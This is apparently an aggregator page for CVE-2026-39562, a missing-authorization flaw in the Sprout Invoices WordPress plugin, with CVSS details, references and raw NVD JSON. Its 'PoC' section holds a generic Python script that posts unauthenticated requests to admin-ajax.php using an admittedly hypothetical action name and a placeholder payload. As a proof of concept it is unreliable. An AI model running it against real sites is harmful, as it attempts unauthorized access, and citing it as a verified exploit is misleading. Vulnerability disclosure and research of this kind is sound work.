CVE-2026-39562

Description

Missing Authorization vulnerability in BoldGrid Client Invoicing by Sprout Invoices sprout-invoices allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Client Invoicing by Sprout Invoices: from n/a through <= 20.8.10.

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Client Invoicing by Sprout Invoices <= 20.8.10

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#!/usr/bin/env python3
# PoC for CVE-2026-39562: Missing Authorization in Sprout Invoices

import requests

def exploit(target):
    # Target URL usually points to the WordPress AJAX handler
    url = f"{target}/wp-admin/admin-ajax.php"
    
    # Payload based on the vulnerable action (hypothetical action name)
    data = {
        "action": "si_vulnerable_action", 
        "data": "malicious_payload"
    }
    
    try:
        # Send unauthenticated POST request
        response = requests.post(url, data=data, timeout=10)
        
        if response.status_code == 200:
            print("[+] Request sent successfully. Check if action was performed.")
            print(f"[+] Response: {response.text[:100]}")
        else:
            print("[-] Unexpected response code.")
    except Exception as e:
        print(f"[!] Error: {e}")

if __name__ == "__main__":
    import sys
    if len(sys.argv) != 2:
        print(f"Usage: python {sys.argv[0]} <target_url>")
    else:
        exploit(sys.argv[1])

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-39562
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-39562
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-39562/
[4] VulDB https://vuldb.com/cve/CVE-2026-39562
[5] https://patchstack.com/database/Wordpress/Plugin/sprout-invoices/vulnerability/wordpress-client-invoicing-by-sprout-invoices-plugin-20-8-10-broken-access-control-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-39562", "sourceIdentifier": "[email protected]", "published": "2026-04-08T09:16:27.343", "lastModified": "2026-04-24T18:07:25.343", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in BoldGrid Client Invoicing by Sprout Invoices sprout-invoices allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Client Invoicing by Sprout Invoices: from n/a through <= 20.8.10."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/sprout-invoices/vulnerability/wordpress-client-invoicing-by-sprout-invoices-plugin-20-8-10-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}